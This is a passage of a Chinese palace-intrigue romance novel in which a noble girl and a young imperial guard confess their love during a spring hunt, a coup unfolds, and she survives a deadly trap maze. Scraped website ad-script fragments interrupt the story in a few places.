气头上的人下手没个轻重,这一下比刚才推得更用力,险些将他从马背上推下来。 他骑术极好,自然不会被谢灵越推下来,可现在,他心思一动,心甘情愿摔下来。 于是他一头从马背上栽下来,后背撞上了坚硬的石块,幸好他身上穿的是羽林卫的甲衣,倒也不曾受伤,只是石块与盔甲相撞,发出一声极清脆的声响,而这声响之后,是他后背被挫得一阵顿疼。 李鸣岐闷哼一声。 谢灵越愣了一下。 她何时有这种力气了? 竟然能把李鸣岐推下马? 难不成谢氏一族断了好几代的战神血脉竟在她身上觉醒,她有着力拔山河的力气? 谢灵越狐疑地看着自己的手,满眼不敢置信。 余光看到谢灵越的动作,李鸣岐哑然失笑,于是倒在地上喊起疼来,“嘶——好疼。” 真正受了伤的人的声音怎么可能会是这样的?银丹翻了个白眼。 ——这种拙劣的演技傻子才会上当! 可谢灵越没有受过伤,她哪分得清受伤和没受伤的声音的差别? 她只听到清脆的一声响,紧接着便是李鸣岐的闷哼声,以她贫瘠无比的磕碰受伤经验来看,李鸣岐应该伤得不轻。 她要不要下马看看? 谢灵越蹙了蹙眉。 不,她不下去。 李鸣岐还想跟她撇清关系呢,她干嘛要下去看他? 她不敲锣打鼓庆祝他受伤都已经是看着自幼相识的情分了! 谢灵越骄纵想着,没有立刻下马,只用余光偷偷去瞧草地上的李鸣岐。 少年生了一张好皮子,立在羽林卫队里,颇有貌若妇人的好颜色。 这样的好皮囊如果再以银甲红衣来相配,便越发显得丰神隽秀恍若天人,简直是精准踩着她的审美长。 这样的脸,这样的身段与气质,哪怕不是被她推下马,而是一个陌生人自己跌倒受伤了,以她喜欢皮囊......啊,不对,以她的善良大度,也会遣人问一声的吧? 谢灵越说服了自己。 “你怎么了?” 谢灵越坐在马背上,故作不在意地问:“伤到哪了?” 应该伤得不严重。 她又不是霸王在世,力拔山河兮之一巴掌拍死李鸣岐兮,更何况,李鸣岐的马术那么好,哪怕她的力气真的很大,以他的马术也能借力卸力不至于让自己受太重的伤。 银丹面上有一瞬的扭曲。 ——县君怎么就信了这个小白脸! 其实这事儿仔细论起来应该怪府君。 都怪府君把县君养得太过单纯,才会被顶着一张好皮囊的人轻易骗了去。 顶着一张好皮囊的人并不想骗人,他只想转移话题与谢灵越好好说说话来着。 只是灵越虽问他的伤,但彼时仍坐在马背上,离他的距离有些远,这显然不是说悄悄话的好机会,他便只好卖力表演,骗灵越他伤得真的很重。 李鸣岐拧眉道:“好像伤到了腿,我的腿疼得快没知觉了。” “没知觉了?” 谢灵越吓了一跳。 东海王世子被封余踩腿骨的时候便是这样的反应,从极度的疼到几乎没有知觉,然后彻底昏厥过去。 ——李鸣岐别是把腿骨给摔断了吧?! 谢灵越瞬间慌了起来。 她从马背上跳下来,三步并做两步来到李鸣岐面前,“怎么会这么严重?” 她想检查李鸣岐伤势,但手指刚触及到李鸣岐的腿甲,又触电似的缩回手。 她怕弄伤李鸣岐的腿。 “......” 让我来! 我是医者,没伤也能让他有伤! 银丹立刻毛遂自荐,“县君,让我来看看二郎的伤吧?” “哪里需要劳烦银丹姐姐?” 李鸣岐连忙拒绝,“灵越,我伤得不重,不用银丹姐姐帮我看伤的。” 开什么玩笑? 如果银丹来帮他诊治,他这双腿怕不是都保不住了。 “?” 谢灵越狐疑地看李鸣岐,“不需要银丹看?” “不需要,当然不需要。” 李鸣岐摇头。 “......” 明白了,又在耍她。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 谢灵越这次真的生气了。 “银丹,来帮李鸣岐治疗一下腿。” 谢灵越扭头便对银丹道。 哼,骗我是要付出代价的。 李鸣岐脸色微变。 “来了!” 银丹道。 那我可就不客气了。 银丹嗳了一声,翻身下马,去检查李鸣岐的“伤”。 这人根本没受伤,就是骗她家县君玩,如今栽到她手里,没伤也得给她受伤。 “估计是脱臼了。” 银丹握着李鸣岐脚踝,用力一卸。 李鸣岐闷哼一声,脸色顿时苍白如纸。 谢灵越心头一紧,忽地有些后悔。 银丹十分满意,手指慢悠悠地在李鸣岐脚踝上方敲了敲。 “这截骨头也伤了,我便一并治疗了吧。” 银丹道。 “别,别了吧。” 谢灵越连忙打断银丹,“我看着他好像好的差不多了,不需要再治疗了。” 银丹指了指李鸣岐的冷汗如雨,“县君,二郎的脸色比刚才更难看了,哪里好得差不多了?” “多谢......多谢银丹姐姐,我已经好多了。” 李鸣岐忍痛道。 银丹还想再试试手,“真的不需要再治了?” “不、不用了。” 李鸣岐道。 “好吧,那就不治了。” 银丹有些惋惜。 她还是第一次见被人卸了脚踝还能忍着不喊疼的人。 果然是被选入羽林卫的人,身体素质与普通人就是不一样。 ——一看便是给天子当肉盾的好苗子。 银丹起身退在一边。 谢灵越看看李鸣岐耷拉着的脚踝,再看看李鸣岐苍白的脸,脑海里两个小人在打架。 一个说活该,谁让他骗你?这是他应得的。 另一个占据着道德高地,说无伤大雅的骗骗你罢了,你怎能让银丹把他伤成这样?简直太残忍了! 两个小人打得不可开交,而谢灵越的脸色也变了又变。 李鸣岐大抵能猜出来她在想什么。 这位县君虽骄纵任性,但本性不坏,不是故意要伤他,而是气狠了,才想给他一个教训罢了。 ——谁让他又骗他来着? 这事儿说起来还是怪他。 李鸣岐道:“灵越,我没事儿,你别担心。” 一边安慰谢灵越,一边靠在石头上,借着石头的力,捏着自己的脚踝狠狠往上一送。 钻心的疼险些让他咬破自己的舌头,但他忍住了,没有发出任何声音,只白着脸,微微活动被他重新接上去的脚踝。 “你看,我的腿不是好了么?” 李鸣岐指给谢灵越看,“银丹姐姐的医术还是很高明的,我的腿已经能自由活动了。” 傻子,那哪是银丹给你治好的?分明是你自己把脚踝接上了。 谢灵越心疼不已,压在心头的火彻底消了。 “以后不许骗我了。” 谢灵越小声道。 李鸣岐莞尔,“好,以后我绝对不再骗你了。” “那你——” 谢灵越声音顿了顿。 但看李鸣岐面上尚未褪去的冷汗,她又叹了口气,道:“罢了,我不问了。” 李鸣岐知道她想问什么,他也知道自己该怎么回答。 他伸手,隔着衣袖拉着她手腕。 这个动作虽亲密,但并不与她产生直接的肌肤接触,所以倒还算知礼,但行为知礼的他说出来的话,却与知礼没什么关系—— “灵越,我心中亦有你。” 李鸣岐道:“只是我此时身份微贱,不敢登门求娶。” 他说不骗她,便不会再骗她。 “但是灵越,我并非庸碌一生的鸟雀,我心中亦有凌云志,亦想冲天而起,挥斥方遒。” 李鸣岐轻声道:“唯有如此,我才能配得上你,配得上你这位金尊玉贵昌平县君。” “所以灵越,你给我一点时间好不好?” 话刚出口,李鸣岐却忽又改口,“不,你不用给我时间,也不用给我承诺,说你会等我。你只管去做你自己,做自由自在的小县君。” “朽木不配让凤凰停留。” 李鸣岐认真道:“但我相信,我是梧桐,只要我扎根泥土,葱郁而长,终有一日会长成值得凤凰栖息的良木。” 少年的眼眸明亮而清澈,轻声面前的女郎,“到哪时,你再回头看一眼我这块梧桐木,可好?” 7. 第 7 章 第七章 谢灵越的心跳一下子静了下来。 很静很静的那一种,静到只能听到她的呼吸声。 她的呼吸声很急促,像是被人扼住脖颈后又突然松开,大片的空气涌入她胸腔,让她因近乎窒息而有些眩晕的思绪更加晕乎乎。 李鸣岐方才说了什么? 说,他心中亦有她? 说他只是身份卑贱,所以才不敢求娶她? 说总有一日,他会一朝鱼化龙,让她这只凤凰为他停留? 好像是这样。 谢灵越眨了下眼。 ——她终于等到了自己想要的答案。 这才差不多。 她就说嘛,她这么好的一个小女郎,李鸣岐怎么可能不喜欢她? 谢灵越心里甜滋滋的,飘上天的思绪这才荡悠悠地落回身体里。 “那你要快一点。” 她红着脸对李鸣岐道:“我这只凤凰若是飞走了,便再也不会回来了。” 李鸣岐笑了起来,“我知道。” 瓷白色的脸微微泛着红,很诱人。 他强忍着自己移开视线,让自己的动作不至于轻薄。 与她在一起,他总是小心又小心的,怕自己太唐突。 李鸣岐轻轻松开谢灵越手腕。 薄樱色的衣料从他掌心划走,他手指微曲,有些恋恋不舍。 会有那么一日的。 他想,他与灵越总会在一起的。 “咱们去打猎吧。” 李鸣岐扶着石头站起来,“你不是想要白狐么?我现在去给你猎。” 他站起来活动着手脚,跃跃欲试。 谢灵越也站了起来,却没有像他那般,只抬头瞧着他,娇娇而笑。 “你都这样了,还打什么猎?” 谢灵越道:“李鸣岐,你平日里那么聪明,怎么在这种事情上犯糊涂?” 李鸣岐眉头微动。 谢灵越声音慢悠悠,“你以为我真的喜欢打猎?” 骑马颠来颠去有什么好的? 我喜欢的,是与你在一起呀! 李鸣岐呼吸一短,心跳顿时狂跳起来。 他看谢灵越,而谢灵越彼时也在看他。 长而卷翘的睫毛半敛着她眼睛,在二月春光下,她的瞳色不像平时那般深,略显黑褐色,但更像蜜色。 是宫宴之际天子赐下的美酒,推杯换盏间,酒不醉人人自醉。 李鸣岐的脸烧得厉害。 “那,我们就不打猎了。” 他清了清嗓子,问谢灵越,“只带着你骑着马,走到哪,便算哪,好不好?” 谢灵越点点头,“好呀。” 银丹觉得不好,极为不好。 这个发展方向太可怕了! 如果再继续发展下去,她怕不是会被府君活生生剥了皮。 银丹道:“县君,快正午了,咱们该回去吃饭了。” “若再不回去,府君该担心了。” “九叔忙得连饭都没时间吃,哪里还有空余时间担心我?” 谢灵越道:“不回。” “至于吃饭......” 谢灵越的视线飘到李鸣岐身上,“李鸣岐的箭术那么好,他随便打点东西,咱们不就能吃了吗?” 李鸣岐微颔首,正欲说话,却听银丹道:“这怎么能行呢?” “县君,您肠胃那么娇弱,怎吃得下野外的粗食?” 李鸣岐尚未说出来的话就此咽回肚子里。 “还是回去吧。” 银丹道:“回去喝您的人参养荣汤,好不好?” 李鸣岐嘴角抿成一条线。 他知道银丹对他的排斥,更知道自己与谢灵越的差距。 ——一无所有的穷小子是没有资格摘下金陵城最耀眼的明珠的。 李鸣岐闭了闭眼。 “天天喝这东西,我早就喝腻了。” 谢灵越皱了皱眉,有些不高兴,“外面的饭怎么了?只要我想吃,便没有我吃不下的东西。” 银丹仍想再劝一番,“可是县君——” “好了,你如果想回去,你就自己先回去吧。” 谢灵越打断银丹的喋喋不休。 她不喜欢银丹的这种行为。 好像她与李鸣岐在一起是天大的错事一般。 可喜欢怎会有错? 她就是喜欢李鸣岐,就是喜欢与李鸣岐在一起。 银丹两眼一黑。 她仿佛县君欢欢喜喜找府君说她要嫁李鸣岐,而没有管好县君的自己被府君抽筋扒皮。 见银丹的脸色有些难看,谢灵越轻哼一声,说道:“我知道你是听命行事,但你既然是九叔派到我身边的人,便该是我的人,而不是拿着九叔的话处处来约束我。” “不是,县君.......我.......” 银丹期期艾艾。 谢灵越笑了笑,牵过她的手,轻轻拍了拍她手背,“你别担心,九叔那里我来解释,不会牵连你的。” “既然是我的人,那我肯定要护着你呀。” “罢了,都听县君的。” 银丹长长叹气。 别说府君拿县君没有办法了,就连她们在遇到县君时也只能缴械投降。 安抚完银丹,谢灵越去喊李鸣岐,“李鸣岐,咱们出发吧。” 一回头,便见明朗的少年此时脸上的笑极淡,似是有什么心事一样。 “李鸣岐?你怎么了?” 她问道。 “没什么。” 李鸣岐笑了笑。 其实他不说,谢灵越也知道,是因为银丹的话。 再怎样开朗阳光的儿郎,也经不住银丹一而再再而三的摆在面上的嫌弃。 更别提银丹还故意卸了他脚踝。 谢灵越抿了抿唇,心里有些难受。 可是,银丹也没有错啊。 ——难道眼睁睁看着自家主人放着太子妃不做,去嫁给一个一无所有的穷小子便是对了? 这跟推主人进火坑有什么区别? 谢灵越想了想,“李鸣岐,你要不要去从军?” “四叔五叔虽被封余夺了兵权,实力大不如从前,但好歹掌一郡之地,有识人任人之权。你如果在战场上有所成就,他们必能表奏你军功封侯。” 这是她所能想到的晋升最快的法子。 九叔不喜李鸣岐,李鸣岐如果在朝中任事,必会遭九叔打压。 四叔五叔便不一样了,他们迫切希望有人能帮助自己东山再起,只要有真才实干,他们连寒门都愿意提拔,更别提虽没落但还是宗室出身的李鸣岐? “这个从军,不是叫你去亲临战场,跟胡虏拼杀,那样太危险,我舍不得。” 谢灵越道:“我的意思是,你先去四叔五叔那里做个幕僚,攒些军功在身上,纵不曾军功封侯,但做个校尉也是极好的。” 校尉虽比不上统领一方的将军,但也能求娶她了。 李鸣岐笑了起来,“我明白你的意思。” “灵越,你不必替我担心,我有自己的法子的。” “我的机会快来了。” 他指了指封余所在的方向,压低声音与谢灵越道:“就在他身上。” 谢灵越眨了下眼,隐约知道了李鸣岐想做什么。 胡虏逢夏必南下,封余不会在金陵待太长时间。 他与东海王已彻底撕破脸皮,哪敢长时间领兵在外,让东海王有机会在他的军粮盔甲上动手脚? 所以封余与东海王的明争暗斗,在这次春猎上必能分出胜负。 而李鸣岐要做的,便是借此机会一飞冲天。 无论是从龙之功还是救驾之功,都足以让他成为金陵城最炙手可热的新贵。 “那你觉得,他们谁会赢?” 谢灵越小声问道。 这种话当然是离得近的时候才能问。 也正因为离得近,谢灵越说话时呼吸间的热气便往李鸣岐耳朵拥,轻轻柔柔的,像是拿羽毛扫过他耳廓,让他那一处的肌肤顿时变得滚烫无比。更可怕的是这种滚烫还会继续蔓延,顺着他的脸与脖颈,一直蔓延到他心口,让他心窝都跟着又痒又烫。 少年人总是血气方刚的。 李鸣岐嗓子发干,不敢去看谢灵越的脸,抬手扯了下围在脖颈处的甲胄,让二月里尚带着寒意的风涌进来,给自己降降温。 “我不知道。” 李鸣岐摇头道,“但是我姓李。” 谢灵越便明白了他的意思。 他再怎样落魄,但也是天家子孙,注定要与大虞共存亡。 谢灵越长长叹了口气,没有再说话。 微凉的风顺着甲衣递进来,李鸣岐这才感觉好了一点。 但要命的是他与谢灵越的动作很近,少女哪怕不说话,但还是会呼吸,呼吸之间,软软的带着花的香甜的气息便又飘了过来,让他那处的汗毛都颤颤巍巍战栗起来。 李鸣岐只好继续扯甲衣。 谢灵越不懂李鸣岐的动作,还以为是盔甲太重的缘故,便也顺手帮李鸣岐扯了下甲衣。 只是在扯甲衣的时候不小心碰到了李鸣岐手背,少年手背烫得厉害,像是在发烧,她不明所以,便疑惑问李鸣岐,“你怎么这么烫?” “......” 救命,这让他怎么回答? 李鸣岐面色微尬,“可能是甲胄太厚了,热得了。” “听人说你们的甲胄有二三十斤?” 谢灵越看了看李鸣岐身上的明光净铠。 “应该吧。” 李鸣岐胡乱答着话。 这么下去迟早要出事,李鸣岐抬手掐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了下眉心。 哒哒的马蹄声在这个时候突然传来。 “李鸣岐,速归队!” 来人大喊。 谢灵越眼皮一跳,来人已疾驰到李鸣岐面前,简单向谢灵越见了礼,便压低声音与李鸣岐耳语。 他的声音极低,谢灵越听不清他的话,只依稀听到异动调兵之类的,脸色为之大变。 ——封余果然还是在这个时候动手了! 谢灵越再顾不得其他,当机立断道:“李鸣岐,你快回去。” “你如今是舅舅的亲卫,如果舅舅出了意外,你们这些羽林卫都要陪葬。” 她后知后觉想起来,太子与封皇后并无血缘关系,而封余也向来瞧不上自己这位优柔寡断的便宜外甥,如果不是封皇后膝下无子,只怕封余早已废了养在封皇后名下的太子。 关系如此一般,却在这次春猎上一同出行,很难不让人怀疑封余是不是想要趁这个机会对太子不利,甚至对天子不利。 待太子天子身遭意外后,他便将这件事嫁祸给东海王,让自己有清君侧理由诛杀东海王。 李姓皇室被他一锅端,这金陵皇城便彻底成了他的天下,成为他开启宏图霸业的起点。 李鸣岐亦知事情的严重性,旖旎心思瞬间消失得无影无踪,翻身上马对谢灵越道:“灵越,咱们一起走。” 谢灵越摇了摇头,“咱们这个地方离宫苑太远了,我马术不好,只会拖慢你们的速度。” “而且我不能跟你回去,我得我去找我九叔,让他也提前做好准备。” 谢灵越道。 谢慎之是为数不多仍忠心于帝王的人,此事的确得让他知晓,李鸣岐点点头,“那你多加小心。” “劳烦霁蓝姐姐保护好灵越,二郎不胜感激。” 李鸣岐看向谢灵越身后的霁蓝身上,对着她深深行礼。 他曾见过霁蓝杀人,干脆利落,一击致命,其功夫不在他之下。 ——有这样的人保护谢灵越,他很放心。 霁蓝点点头。 李鸣岐纵马离去。 谢灵越迅速上马,去找谢慎之。 作为皇家园林,华林园修建得极大,宫苑与禁苑连绵上百里,一眼望不到头。 宫苑与禁苑之间又穿插着狩猎场无数,由负责看守驯养的卫士们严加监管,以供天子狩猎扬威。 在这样的园林中,如果没有熟悉地形的人来带领,是很容易迷路的。 但谢灵越与李鸣岐显然不属于这样的人。 他们一个是太子伴读,一个是昌平县君,是每年的春猎秋猎乃至冬猎都会出现在这里的人物,毫不夸张地说,他们闭着眼睛都能找到路。 可这一次,谢灵越走了一半却发现路经不对。 ——华林园重修了。 不是小修,而是大修。 大修到宫道全改,让极为熟悉路经的谢灵越竟然找不到通往九叔住所的路。 霁蓝下马查路经,却发现这条路他们方才走过。 “这是谁修的华林园?” 谢灵越忍不住骂道:“这是修园林吗?这都快修成八卦阵了!” 雪信道:“重修华林园之事是封王爷提出来的。” “......那他的确想修八卦阵。” 谢灵越抬手指着眼前的怪石与溪潭,“除他之外,金陵城无人知兵,他甚至不用背上弑君的骂名,便能将天子与东海王困死在这里。” 谢灵越问霁蓝,“霁蓝,你能找到路吗?” “我不修阵法。” 霁蓝摇头。 “......” 功夫与阵法怎么就不能是一家呢! 雪信道:“县君,咱们带的水和点心很充足,伤药也带了,哪怕在这里被困三五日,应该也能撑到府君的人来救援。” “县君,您先别着急,咱们保存体力,慢慢来找路。” “可是,如果九叔也找不到路呢?” 谢灵越幽怨出声,“我记得九叔只掌廷尉,对排兵布阵一窍不通?” “......” 廷狱怎么就不能和排兵布阵殊路同归呢? · “府君,县君在狼营附近消失了。” 亲卫飞马来报。 狼营,顾名思义,是豢养狼的地方。 心腹大惊,“谁将县君领到那的?” “那里是新修的,路经与往年完全不一样。” 岂止不一样,还满是陷阱,是专门给该死之人准备的地方。 心腹道:“速传令下去,着虎贲卫全力搜查县君——” 话未说完,便见谢慎之一骑绝尘而去。 玄色鹤纹的衣服扬在春暖花开里,像是劈开二月春景的利刃,让周围景致陡然变得肃杀。 ——他不像是去寻人,更像是要将人千刀万剐。 8. 第 8 章 第八章 在谢灵越的记忆里,九叔总是很忙的。 尤其在四叔五叔被封余夺去兵权后,九叔的这种忙便越发不可收拾,明明他们同住一府,却连他的面都甚少得见,惹得来府上找她玩的李鸣岐都为之纳闷。 “灵越,你九叔怎这般忙?连饭都没时间陪你吃?” 李鸣岐问她:“我叔父虽也忙碌,但总是会陪我吃晚饭的。” 她便双手托腮,恹恹说道:“可能是九叔太忙了吧。” “你九叔得陛下倚重,忙些也是应当的。” 见她有些不开心,李鸣岐便会岔开话题来哄她,“你九叔陪不了你,没关系,我可以陪你呀。” 李鸣岐的陪伴让她不再纠结九叔会不会有时间陪自己吃饭。 他若忙,便去忙好了。 她有李鸣岐平陪着呢。 他们两个有说不完的话,做不完的开心事。 一块泥巴,一捧野花,一只威风凛凛的蛐蛐,一个首怎么也背不出来然后被太傅罚抄的诗词......在她的童年乃至少年的记忆里,李鸣岐是陪伴她最多的人,比九叔还要多。 而作为与她同处一个屋檐下的九叔,只给她留下一个极其忙碌的背影,与市井流言中行事狠辣的玉面修罗谢九郎。 这样的九叔本该是让人生畏甚至不寒而栗的,可她却从不怕他,那些在李鸣岐面前尚会收敛三分的骄纵任性,在九叔面前却能展现得淋漓尽致。 世人皆怕他,唯独她不怕。 不仅不怕,每次遇到自己解决不了的事情时,她总能想到他。 ——比如说现在。 “绿沈,放信号灯。” 谢灵越对绿沈道:“九叔看到信号灯,一定会派人来找我的。” 绿沈微颔首,从随身行囊里拿出巴掌大的烟花信号灯。 本该干燥易燃的信号灯此时竟潮湿异常,仿佛被水浸染过一般。 绿沈拧眉道:“县君,这个地方太潮湿了。” “烟花灯受了潮气,只怕点不着。” 她拆开火折子,去点烟花灯。 往日见火便燃的烟花灯果然如她所说那般,任她再怎样小心翼翼去引火,也不见有烟花一飞冲天。 谢灵越的心彻底沉了下去。 她轻抬胳膊,去看自己的衣袖。 薄樱色云锦料子此时湿哒哒的,无精打采趴在薄甲上,明显是受了极大的潮气才会变成这样。 如果是平时,她必然能发现衣服的异样,但今日她穿了甲衣,行动本就不如往常方便,自然不会在意衣服上的异样。 再加上一路纵马疾驰,身上出了许多汗,便也觉得衣服有湿气是正常的,哪有骑马打猎不出汗的呢? “封余好算计。” 谢灵越道:“不仅修建了迷阵,还在溪潭上动了手脚——以往的华林园虽然潮湿,但绝不会潮湿到这种程度。” 没有烟花,九叔怎会知道她的位置? 不知道她的位置,又怎么可能来找她? 不来找她的话,等待她的结果只有一个——被活生生困死在这里。 谢灵越一下子怒了,“封余到底想做什么?” “行谋逆之事还不够,难道还要把公卿大臣们一并困死在这里?自己一个人去执掌天下?” 这怎么可能? 再怎样厉害的一个人,也需要治世能臣的辅佐,更别提封余厉害的是打仗,在治理国家的事情上,他远远不及她九叔。 没有九叔,封余根本坐不稳天下。 “县君,您先别着急。” 雪信斟酌说道:“此人一直在拉拢府君,应当不会对您不利。” “今日之事,应当是个误会。” 雪信道:“我们不小心闯入,才会被困在这里,只要我们走出去,或者遇到他的人,便能平安无事。” 可问题是,怎么出去? 谢灵越极目望去,只看到被人修得完全陌生的路经,与被刻意改道的溪潭。 这条她走过无数次的林园,此时已面目全非,看不到半点她记忆里的景致。 “县君,我去高处看一下。” 霁蓝适时出声。 谢灵越道:“当心点。” “地上有迷阵,空中必有机关。” 霁蓝微颔首。 脚尖轻点马背,身体腾空而起,灵活地像只雨燕,穿梭在近乎遮天蔽日的密林中。 她的动作很轻,甚至连被她踩到的枝叶都不会有大的晃动,哪怕树枝上布有机关,也不会被她触动。 可尽管如此,在她踏上树枝的那一刻,周围的环境还是跟着她的跃动而发生了变化,横在她们面前的怪石,葱郁而生的古树,甚至溪流都在为之改道。 ——这不是给普通人设计的机关,而是专门给武功极高的人精心打造的。 封余要对付的人到底是谁? 怎会苦心积虑到这种程度? 谢灵越脸色微变,“霁蓝,快下来!” 这绝不是凭她们几个便能闯出去的地方! 但是已经晚了。 “咔擦——” 她听到重物裂开的声音,紧接着,是自己的身体陡然下坠。 “县君当心!” 与此同时,是银丹绿沈的齐声惊呼。 完全来不及。 她甚至来不及去握她们抓她的手,身体已坠落下去,连人带马陷入黑暗里。 意识彻底消失前,她心里只剩一个念头—— 杀千刀的封余! 她如果能活着出来,定要将他千刀万剐! 但她还没把封余千刀万剐,自己便先体会了这种酷刑。 她是被疼醒的,身体的每一处都是疼的,像是被人打断了骨头切碎了皮肉,而后又缝合起来,要让她活生生疼死似的。 “好疼......” 谢灵越呻/吟出声。 她从未受过这么重的伤。 别说受伤了,连小孩子时期的磕磕碰碰都很少。 她是九叔精心养护的琉璃娃娃,纵然权臣藩王争权,朝堂动荡不安,但外面的腥风血雨永远侵蚀不到她。 可今日,金陵城的争权夺利终于波及到她,将那些她从未受过的苦翻了千百倍地落在她身上,让她觉得活着都是一种折磨。 该死的封余! 他最好祈祷她今日死在这儿,否则她定会让他生不如死! 她被九叔骄纵得为数不多的教养消失了,在心里把封余骂了千百遍。 但骂人归骂人,该求生还是要求生的。 ——她得活下来才能报复回去。 谢灵越慢慢睁开眼。 这个地方显然是封余一早便设置好的陷阱,用来猎杀那些武功极高极难对付的人,单是迷阵还不算,空中与地下亦有陷阱,无论哪一个,都足以让人死无葬身之地。 如今她掉在地下的陷阱的,周围是不见五指的黑,她什么都看不到,只闻到浓重的血腥味与过于阴暗潮湿而产生的腥臭腐烂味道。 血腥味大概来自于她被摔死的马? 想到这,她不免又有些庆幸。 ——虽然浑身疼,但她好歹活着不是? 只要活着,便有希望走出这个该死的地方。 谢灵越又有了信心。 身上疼得厉害,她歇了好一会儿,才去有了力气,去摸自己身上的火折子,而后打开火折子,借着火折子的微弱光芒去观察周围的情况。 她猜得不错,血腥味的确来自于她的马......不,不止是她的马,还有一个人!就在她身下,以自己的身体为肉盾,替她挡住了滚落下来时的冲击。 而这样的舍命保护也让雪信几乎葬身在这里,她的身上都是血,胳膊极度扭曲着,那是抱着她滚落下来才会出现的骨折, ——与还能勉强的活动的她相比,雪信看上去更像一具尸体。 “雪信?!” 谢灵越的眼圈瞬间红了,“你别死,别把我一个人丢在这儿。” 雪信没有回答她,周围静得可怕。 她哆嗦着手,去探雪信的鼻息。 还好,还有呼吸,只是极其微弱,弱得她几乎感受不到。 “你别死。” 谢灵越险些哭出来,“你还要喝我跟李鸣岐的喜酒呢,你不能说话不算话。” 九叔给她安排的四个侍女里,雪信是唯一一个不会阻拦她与李鸣岐相处的人。 谢灵越吸了吸鼻子。 这会儿不是哭的时候,她得给雪信处理身上的伤,要不然雪信会流血过多而死掉的。 她把火折子插好,哆嗦着手去解雪信身上的衣服。 她其实根本不会处理伤口,也从没有处理过,但眼下这种情况只能让她硬着头皮去做。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 水壶被摔坏了,此时漏得还剩小半壶水,她舔了舔干渴的嘴唇,没敢去喝水,只用为数不多的水来清洗雪信身上的伤口,清洗之后,再从散落一地的伤药里捡些勉强能用的,小心翼翼敷在雪信的伤口上。 九叔给她准备的伤药都是特制的,雪信身上的血慢慢被止住,只剩下因摔断而变得扭曲的胳膊。 这种她着实不会处理,便捡些树枝来,将树枝与雪信的胳膊绑在一处,让她断掉的胳膊不再继续恶化。 做完这一切,她如同刚从水里捞出来的似的,浑身被汗水浸湿。 但是她不敢歇。 ——她怕封余杀她灭口。 机关一但被触动,封余便会知晓,会派人来查探这里的情况。 如果没有落入机关,她巴不得封余的人发现她,但封余让她伤得那么重,九叔怎么还可能与封余再结盟?多半会直接与东海王联手,送封余归西。 当然,这是她能想到的最后的结局。 还有一种不好的,是封余将计就计,把她的死嫁祸在东海王身上,这样一来,九叔便会与东海王决裂,帮助真正杀害她的封余一统天下。 她不能容忍这种事情的发生。 谢灵越放下雪信,在黑暗中寻找生路。 可封余既然想置人于死,又怎会给人留下可以逃出生天的小路? 她几乎翻遍了这里的每一块石头,也没有让她找到能出去的路。 “挨千刀的封余......” 她几乎快要绝望了。 然而就在这时,她忽然听到淙淙的水流声,那声音极轻微,若有若无的,仿佛是她的一种错觉。 这种情况下哪怕是错觉也要去看看。 几乎没有任何犹豫,她拿着火折子往声音传来的地方走去。 路难走得很,锋利又怪异的石头不断割破她的衣袖与肌肤,但她完全顾不上疼,连走带爬终于找到了溪流。 这是一条并不算湍急的河流,顺着狭长的山涧而流,不知通往何处。 有救了! 只要有水,便意味着能出去! 谢灵越立刻折返回去,把昏迷不醒的雪信用衣服绑在自己身上,一头扎在溪水里。 溪水冰冷刺骨,让她忍不住打了个哆嗦。 好在她是江左人,水性还不错,勉强能背着雪信顺着水势而游,可游得时间久了,她便有些撑不住,浑身发软,几乎要溺水。 要死在这了吗? 她悲哀地想。 不,她不能死在这儿,她才不要让九叔与害死她的人联手! 濒死关头,恨意让她迸发出无限的潜力,她竟带着雪信从溪潭里游了出来! “呼——” 谢灵越长出一口气,趴在溪边喘息不止。 但她没有高兴太久,几乎将溪水染红的鲜血提醒她一个残忍的事实——雪信快撑不住了。 谢灵越去探雪信的鼻息。 如果刚才只是微弱,那么现在雪信的鼻息是时有时无,随时都会撒手人寰。 “雪信?” 谢灵越害怕极了,“雪信,你醒醒。九叔很快就来了,很快就来找我们了。” 雪信在她怀里慢慢变冷。 她捧着雪信的脸,试图用自己的体温将她的身体暖热。 谢灵越几乎哭出来,“雪信,你坚持住。” “九叔,九叔真的快来了。” 可生命依然在流逝。 雪信的身体不仅在变冷,还在慢慢变硬。 她的一切努力都是无用。 谢灵越终于绝望,抱着雪信崩溃大哭,“九叔、九叔怎么还不来?” 只要九叔来了,雪信就能得救了啊。 “啪嗒——” 有什么声音从她身后传来。 周围山石再一次出现变化。 淙淙而流溪潭陡然变得湍急无比。 谢灵越吓了一跳,顾不得哭了。 该死的封余竟然追到了这儿?! 谢灵越在心里破口大骂。 胡乱擦了把泪,让自己显得不那么狼狈,而后把雪信护在怀里,冷声对来人道:“封余,你在我九叔眼皮子底下杀我,难道不怕他知晓后将你挫骨扬灰吗?!” 想象中封余得意的冷笑并没有响起,回应她的,是男人低沉而又略带沙哑的声音—— “抱歉,九叔来迟了。” 9. 第 9 章 第九章 那声音太熟悉,熟悉到哪怕说话的人变成了灰,她都会认得。 ——是她九叔的声音。 她愣了愣,转身的动作顿住了。 是错觉吗? 九叔怎么可能出现在这儿? 她方才与雪信说九叔马上就快来了话,其实是安慰雪信的,想让雪信再坚持一下。 但说话的她心里很明白,她放不出烟花,传达不了自己的位置,别说九叔了,只怕这会儿连霁蓝她们都找不到她,所以九叔绝不可能知道她在这儿,更不可能来这里找她。 这大概是惊惧交加又折腾半日之后以至于自己的精神都开始恍惚,所以才会听到了九叔的声音。 人在陷入绝境的时候总会期待有人从天而降救自己,她也一样。 对于自幼长在九叔羽翼之下的她来讲,在这个时候听到九叔的声音着实不让人意外。 谢灵越吸了吸鼻子。 没关系的,九叔不来也没关系的,她自己可以面对的。 不就是一死吗?她不怕。九叔那么聪明,肯定能查出她的死因,将挨千刀的封余千刀万剐的。 思及此,谢灵越倒没那么怕了。 ——九叔会为她报仇,雪信陪着她上路,她有什么好怕的? “哼,封余,我死了,你也活不了。” 她头也不回骂封余。 一边骂,一边整理着雪信的发。 在水里泡了太久,鬓发混着血污贴在脸上,看上去凄惨又狼狈。 她才不要雪信这副模样陪她走黄泉路,她要她体体面面陪她一起走。 谢灵越轻抚着雪信的发,动作轻柔又小心。 “封余,我会在黄泉路上等着你。” 谢灵越骂道,“等你——” 有什么东西被人拢在她肩头,上面有着她极为熟悉的水沉木的清香。 “抱歉。” 